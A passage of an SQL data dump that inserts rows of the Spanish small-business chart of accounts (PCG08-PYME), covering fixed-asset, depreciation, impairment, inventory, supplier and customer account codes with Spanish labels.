17:28:16','PCG08-PYME','ACTIVO','219',4116,'Otro inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4127,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','22',4002,'Inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4128,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','220',4127,'Inversiones en terreons y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4129,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','221',4127,'Inversiones en construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4130,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','23',4002,'Inmovilizaciones materiales en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4131,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','230',4130,'Adaptación de terrenos y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4132,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','231',4130,'Construcciones en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4133,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','232',4130,'Instalaciones técnicas en montaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4134,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','233',4130,'Maquinaria en montaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4135,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','237',4130,'Equipos para procesos de información en montaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4136,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','239',4130,'Anticipos para inmovilizaciones materiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4137,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','24',4002,'Inversiones financieras a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4138,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','240',4137,'Participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4139,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2403',4138,'Participaciones a largo plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4140,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2404',4138,'Participaciones a largo plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4141,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2405',4138,'Participaciones a largo plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4142,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','241',4137,'Valores representativos de deuda a largo plazo de partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4143,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2413',4142,'Valores representativos de deuda a largo plazo de empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4144,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2414',4142,'Valores representativos de deuda a largo plazo de empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4145,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2415',4142,'Valores representativos de deuda a largo plazo de otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4146,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','242',4137,'Créditos a largo plazo a partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4147,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2423',4146,'Créditos a largo plazo a empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4148,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2424',4146,'Créditos a largo plazo a empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4149,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2425',4146,'Créditos a largo plazo a otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4150,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','249',4137,'Desembolsos pendientes sobre participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4151,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2493',4150,'Desembolsos pendientes sobre participaciones a largo plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4152,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2494',4150,'Desembolsos pendientes sobre participaciones a largo plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4153,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2495',4150,'Desembolsos pendientes sobre participaciones a largo plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4154,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','25',4002,'Otras inversiones financieras a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4155,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','250',4154,'Inversiones financieras a largo plazo en instrumentos de patrimonio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4156,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','251',4154,'Valores representativos de deuda a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4157,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','252',4154,'Créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4158,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','253',4154,'Créditos a largo plazo por enajenación de inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4159,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','254',4154,'Créditos a largo plazo al personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4160,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','255',4154,'Activos por derivados financieros a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4161,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','258',4154,'Imposiciones a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4162,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','259',4154,'Desembolsos pendientes sobre participaciones en el patrimonio neto a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4163,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','26',4002,'Fianzas y depósitos constituidos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4164,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','260',4163,'Fianzas constituidas a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4165,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','261',4163,'Depósitos constituidos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4166,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','28',4002,'Amortización acumulada del inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4167,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','280',4166,'Amortización acumulado del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4168,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2800',4167,'Amortización acumulada de investigación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4169,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2801',4167,'Amortización acumulada de desarrollo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4170,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2802',4167,'Amortización acumulada de concesiones administrativas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4171,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2803',4167,'Amortización acumulada de propiedad industrial',NULL,0,NULL,NULL,1,0,NULL,NULL),(4172,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2805',4167,'Amortización acumulada de derechos de transpaso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4173,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2806',4167,'Amortización acumulada de aplicaciones informáticas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4174,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','281',4166,'Amortización acumulado del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4175,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2811',4174,'Amortización acumulada de construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4176,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2812',4174,'Amortización acumulada de instalaciones técnicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4177,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2813',4174,'Amortización acumulada de maquinaria',NULL,0,NULL,NULL,1,0,NULL,NULL),(4178,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2814',4174,'Amortización acumulada de utillaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4179,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2815',4174,'Amortización acumulada de otras instalaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4180,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2816',4174,'Amortización acumulada de mobiliario',NULL,0,NULL,NULL,1,0,NULL,NULL),(4181,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2817',4174,'Amortización acumulada de equipos para proceso de información',NULL,0,NULL,NULL,1,0,NULL,NULL),(4182,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2818',4174,'Amortización acumulada de elementos de transporte',NULL,0,NULL,NULL,1,0,NULL,NULL),(4183,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2819',4175,'Amortización acumulada de otro inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4184,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','282',4166,'Amortización acumulada de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4185,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','29',4002,'Deterioro de valor de activos no corrientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4186,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','290',4185,'Deterioro de valor del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4187,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2900',4186,'Deterioro de valor de investigación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4188,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2901',4186,'Deterioro de valor de desarrollo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4189,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2902',4186,'Deterioro de valor de concesiones administrativas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4190,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2903',4186,'Deterioro de valor de propiedad industrial',NULL,0,NULL,NULL,1,0,NULL,NULL),(4191,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2905',4186,'Deterioro de valor de derechos de transpaso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4192,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2906',4186,'Deterioro de valor de aplicaciones informáticas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4193,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','291',4185,'Deterioro de valor del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4194,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2910',4193,'Deterioro de valor de terrenos y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4195,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2911',4193,'Deterioro de valor de construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4196,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2912',4193,'Deterioro de valor de instalaciones técnicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4197,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2913',4193,'Deterioro de valor de maquinaria',NULL,0,NULL,NULL,1,0,NULL,NULL),(4198,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2914',4193,'Deterioro de valor de utillajes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4199,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2915',4194,'Deterioro de valor de otras instalaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4200,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2916',4194,'Deterioro de valor de mobiliario',NULL,0,NULL,NULL,1,0,NULL,NULL),(4201,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2917',4194,'Deterioro de valor de equipos para proceso de información',NULL,0,NULL,NULL,1,0,NULL,NULL),(4202,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2918',4194,'Deterioro de valor de elementos de transporte',NULL,0,NULL,NULL,1,0,NULL,NULL),(4203,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2919',4194,'Deterioro de valor de otro inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4204,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','292',4185,'Deterioro de valor de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4205,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2920',4204,'Deterioro de valor de terrenos y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4206,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2921',4204,'Deterioro de valor de construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4207,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','293',4185,'Deterioro de valor de participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4208,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2933',4207,'Deterioro de valor de participaciones a largo plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4209,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2934',4207,'Deterioro de valor de sobre participaciones a largo plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4210,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2935',4207,'Deterioro de valor de sobre participaciones a largo plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4211,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','294',4185,'Deterioro de valor de valores representativos de deuda a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4212,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2943',4211,'Deterioro de valor de valores representativos de deuda a largo plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4213,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2944',4211,'Deterioro de valor de valores representativos de deuda a largo plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4214,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2945',4211,'Deterioro de valor de valores representativos de deuda a largo plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4215,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','295',4185,'Deterioro de valor de créditos a largo plazo a partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4216,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2953',4215,'Deterioro de valor de créditos a largo plazo a empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4217,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2954',4215,'Deterioro de valor de créditos a largo plazo a empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4218,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2955',4215,'Deterioro de valor de créditos a largo plazo a otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4219,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','296',4185,'Deterioro de valor de participaciones en el patrimonio netoa largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4220,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','297',4185,'Deterioro de valor de valores representativos de deuda a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4221,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','298',4185,'Deterioro de valor de créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4222,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','30',4003,'Comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4223,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','300',4222,'Mercaderías A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4224,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','301',4222,'Mercaderías B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4225,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','31',4003,'Materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4226,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','310',4225,'Materias primas A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4227,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','311',4225,'Materias primas B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4228,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','32',4003,'Otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4229,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','320',4228,'Elementos y conjuntos incorporables',NULL,0,NULL,NULL,1,0,NULL,NULL),(4230,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','321',4228,'Combustibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4231,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','322',4228,'Repuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4232,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','325',4228,'Materiales diversos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4233,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','326',4228,'Embalajes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4234,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','327',4228,'Envases',NULL,0,NULL,NULL,1,0,NULL,NULL),(4235,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','328',4229,'Material de oficina',NULL,0,NULL,NULL,1,0,NULL,NULL),(4236,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','33',4003,'Productos en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4237,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','330',4236,'Productos en curos A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4238,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','331',4236,'Productos en curso B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4239,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','34',4003,'Productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4240,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','340',4239,'Productos semiterminados A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4241,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','341',4239,'Productos semiterminados B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4242,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','35',4003,'Productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4243,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','350',4242,'Productos terminados A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4244,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','351',4242,'Productos terminados B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4245,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','36',4003,'Subproductos, residuos y materiales recuperados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4246,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','360',4245,'Subproductos A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4247,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','361',4245,'Subproductos B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4248,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','365',4245,'Residuos A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4249,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','366',4245,'Residuos B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4250,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','368',4245,'Materiales recuperados A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4251,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','369',4245,'Materiales recuperados B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4252,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','39',4003,'Deterioro de valor de las existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4253,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','390',4252,'Deterioro de valor de las mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4254,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','391',4252,'Deterioro de valor de las materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4255,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','392',4252,'Deterioro de valor de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4256,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','393',4252,'Deterioro de valor de los productos en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4257,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','394',4252,'Deterioro de valor de los productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4258,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','395',4252,'Deterioro de valor de los productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4259,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','396',4252,'Deterioro de valor de los subproductos, residuos y materiales recuperados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4260,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','40',4004,'Proveedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4261,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','400',4260,'Proveedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4262,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4000',4261,'Proveedores euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4263,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4004',4261,'Proveedores moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4264,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4009',4261,'Proveedores facturas pendientes de recibir o formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4265,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','401',4260,'Proveedores efectos comerciales a pagar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4266,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','403',4260,'Proveedores empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4267,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4030',4266,'Proveedores empresas del grupo euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4268,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4031',4266,'Efectos comerciales a pagar empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4269,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4034',4266,'Proveedores empresas del grupo moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4270,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4036',4266,'Envases y embalajes a devolver a proveedores empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4271,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4039',4266,'Proveedores empresas del grupo facturas pendientes de recibir o de formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4272,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','404',4260,'Proveedores empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4273,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','405',4260,'Proveedores otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4274,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','406',4260,'Envases y embalajes a devolver a proveedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4275,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','407',4260,'Anticipos a proveedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4276,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','41',4004,'Acreedores varios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4277,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','410',4276,'Acreedores por prestaciones de servicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4278,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4100',4277,'Acreedores por prestaciones de servicios euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4279,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4104',4277,'Acreedores por prestaciones de servicios moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4280,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4109',4277,'Acreedores por prestaciones de servicios facturas pendientes de recibir o formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4281,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','411',4276,'Acreedores efectos comerciales a pagar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4282,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','419',4276,'Acreedores por operaciones en común',NULL,0,NULL,NULL,1,0,NULL,NULL),(4283,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','43',4004,'Clientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4284,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','430',4283,'Clientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4285,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4300',4284,'Clientes euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4286,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4304',4284,'Clientes moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4287,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4309',4284,'Clientes facturas pendientes de formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4288,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','431',4283,'Clientes efectos comerciales a cobrar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4289,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4310',4288,'Efectos comerciales en 